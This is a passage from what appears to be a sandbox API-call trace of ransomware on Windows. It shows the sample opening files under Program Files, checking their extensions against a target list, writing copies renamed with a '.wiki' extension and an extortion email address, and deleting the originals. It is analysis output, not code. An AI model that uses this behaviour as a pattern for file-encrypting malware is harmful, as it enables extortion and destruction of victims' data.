[0060.204] SetEndOfFile (hFile=0x1e8) returned 1 [0060.204] CloseHandle (hObject=0x1e8) returned 1 [0060.204] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.204] SetEndOfFile (hFile=0x1f0) returned 1 [0060.205] CloseHandle (hObject=0x1f0) returned 1 [0060.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0060.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.205] lstrlenW (lpString=".doc") returned 4 [0060.205] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.205] lstrlenW (lpString=".docx") returned 5 [0060.205] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0060.205] lstrlenW (lpString=".pdf") returned 4 [0060.205] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.205] lstrlenW (lpString=".xls") returned 4 [0060.206] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.206] lstrlenW (lpString=".xlsx") returned 5 [0060.206] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0060.206] lstrlenW (lpString=".ppt") returned 4 [0060.206] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.206] lstrlenW (lpString=".zip") returned 4 [0060.206] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.206] lstrlenW (lpString=".rar") returned 4 [0060.206] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.206] lstrlenW (lpString=".bz2") returned 4 [0060.206] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.206] lstrlenW (lpString=".7z") returned 3 [0060.206] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.206] lstrlenW (lpString=".dbf") returned 4 [0060.206] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.206] lstrlenW (lpString=".1cd") returned 4 [0060.206] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.206] lstrlenW (lpString=".jpg") returned 4 [0060.206] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.206] lstrlenW (lpString=".doc") returned 4 [0060.206] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.206] lstrlenW (lpString=".docx") returned 5 [0060.206] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0060.206] lstrlenW (lpString=".pdf") returned 4 [0060.206] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.206] lstrlenW (lpString=".xls") returned 4 [0060.206] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.206] lstrlenW (lpString=".xlsx") returned 5 [0060.206] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0060.207] lstrlenW (lpString=".ppt") returned 4 [0060.207] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.207] lstrlenW (lpString=".zip") returned 4 [0060.207] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.207] lstrlenW (lpString=".rar") returned 4 [0060.207] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.207] lstrlenW (lpString=".bz2") returned 4 [0060.207] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.207] lstrlenW (lpString=".7z") returned 3 [0060.207] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.207] lstrlenW (lpString=".dbf") returned 4 [0060.207] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.207] lstrlenW (lpString=".1cd") returned 4 [0060.207] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0060.207] lstrlenW (lpString=".jpg") returned 4 [0060.207] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.207] lstrcmpiW (lpString1=".xsl", lpString2=".wiki") returned 1 [0060.207] lstrlenW (lpString="sql90.xsl") returned 9 [0060.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.207] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=39515) returned 1 [0060.208] CloseHandle (hObject=0x1f0) returned 1 [0060.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0060.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.208] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.208] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.208] GetLastError () returned 0x0 [0060.208] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x9a5b, lpOverlapped=0x0) returned 1 [0060.214] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x9a60, lpOverlapped=0x0) returned 1 [0060.220] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.220] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.220] SetEndOfFile (hFile=0x1e8) returned 1 [0060.220] CloseHandle (hObject=0x1e8) returned 1 [0060.220] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.220] SetEndOfFile (hFile=0x1f0) returned 1 [0060.221] CloseHandle (hObject=0x1f0) returned 1 [0060.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0060.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.222] lstrlenW (lpString=".doc") returned 4 [0060.222] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.222] lstrlenW (lpString=".docx") returned 5 [0060.222] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0060.222] lstrlenW (lpString=".pdf") returned 4 [0060.222] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.222] lstrlenW (lpString=".xls") returned 4 [0060.222] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.222] lstrlenW (lpString=".xlsx") returned 5 [0060.222] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0060.222] lstrlenW (lpString=".ppt") returned 4 [0060.222] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.222] lstrlenW (lpString=".zip") returned 4 [0060.222] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.222] lstrlenW (lpString=".rar") returned 4 [0060.222] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.222] lstrlenW (lpString=".bz2") returned 4 [0060.222] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.222] lstrlenW (lpString=".7z") returned 3 [0060.222] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.222] lstrlenW (lpString=".dbf") returned 4 [0060.222] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.222] lstrlenW (lpString=".1cd") returned 4 [0060.222] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.222] lstrlenW (lpString=".jpg") returned 4 [0060.222] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.223] lstrlenW (lpString=".doc") returned 4 [0060.223] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.223] lstrlenW (lpString=".docx") returned 5 [0060.223] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0060.223] lstrlenW (lpString=".pdf") returned 4 [0060.223] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.223] lstrlenW (lpString=".xls") returned 4 [0060.223] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.223] lstrlenW (lpString=".xlsx") returned 5 [0060.223] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0060.223] lstrlenW (lpString=".ppt") returned 4 [0060.223] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.223] lstrlenW (lpString=".zip") returned 4 [0060.223] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.223] lstrlenW (lpString=".rar") returned 4 [0060.223] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.223] lstrlenW (lpString=".bz2") returned 4 [0060.223] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.223] lstrlenW (lpString=".7z") returned 3 [0060.223] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.223] lstrlenW (lpString=".dbf") returned 4 [0060.223] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.223] lstrlenW (lpString=".1cd") returned 4 [0060.223] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0060.223] lstrlenW (lpString=".jpg") returned 4 [0060.223] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.224] lstrcmpiW (lpString1=".xsl", lpString2=".wiki") returned 1 [0060.224] lstrlenW (lpString="Sybase.xsl") returned 10 [0060.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.224] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=29790) returned 1 [0060.224] CloseHandle (hObject=0x1f0) returned 1 [0060.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0060.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.225] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.225] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.225] GetLastError () returned 0x0 [0060.225] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x745e, lpOverlapped=0x0) returned 1 [0060.606] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x7460, lpOverlapped=0x0) returned 1 [0060.607] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.607] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0060.607] SetEndOfFile (hFile=0x1e8) returned 1 [0060.607] CloseHandle (hObject=0x1e8) returned 1 [0060.608] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.608] SetEndOfFile (hFile=0x1f0) returned 1 [0060.608] CloseHandle (hObject=0x1f0) returned 1 [0060.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0060.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.609] lstrlenW (lpString=".doc") returned 4 [0060.609] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.609] lstrlenW (lpString=".docx") returned 5 [0060.609] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0060.609] lstrlenW (lpString=".pdf") returned 4 [0060.609] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.609] lstrlenW (lpString=".xls") returned 4 [0060.609] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.609] lstrlenW (lpString=".xlsx") returned 5 [0060.609] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0060.609] lstrlenW (lpString=".ppt") returned 4 [0060.609] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.609] lstrlenW (lpString=".zip") returned 4 [0060.609] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.609] lstrlenW (lpString=".rar") returned 4 [0060.609] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.609] lstrlenW (lpString=".bz2") returned 4 [0060.609] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.609] lstrlenW (lpString=".7z") returned 3 [0060.609] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.610] lstrlenW (lpString=".dbf") returned 4 [0060.610] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.610] lstrlenW (lpString=".1cd") returned 4 [0060.610] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.610] lstrlenW (lpString=".jpg") returned 4 [0060.610] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.610] lstrlenW (lpString=".doc") returned 4 [0060.610] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.610] lstrlenW (lpString=".docx") returned 5 [0060.610] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0060.610] lstrlenW (lpString=".pdf") returned 4 [0060.610] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.610] lstrlenW (lpString=".xls") returned 4 [0060.610] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.610] lstrlenW (lpString=".xlsx") returned 5 [0060.610] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0060.610] lstrlenW (lpString=".ppt") returned 4 [0060.610] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.610] lstrlenW (lpString=".zip") returned 4 [0060.610] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.610] lstrlenW (lpString=".rar") returned 4 [0060.610] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.610] lstrlenW (lpString=".bz2") returned 4 [0060.610] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.610] lstrlenW (lpString=".7z") returned 3 [0060.610] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.610] lstrlenW (lpString=".dbf") returned 4 [0060.610] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.611] lstrlenW (lpString=".1cd") returned 4 [0060.611] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0060.611] lstrlenW (lpString=".jpg") returned 4 [0060.611] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.611] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.611] lstrlenW (lpString="AG00126_.GIF") returned 12 [0060.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.611] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3140) returned 1 [0060.611] CloseHandle (hObject=0x1f0) returned 1 [0060.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0060.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.611] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.611] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.612] GetLastError () returned 0x0 [0060.612] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xc44, lpOverlapped=0x0) returned 1 [0060.621] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0060.622] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.622] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, 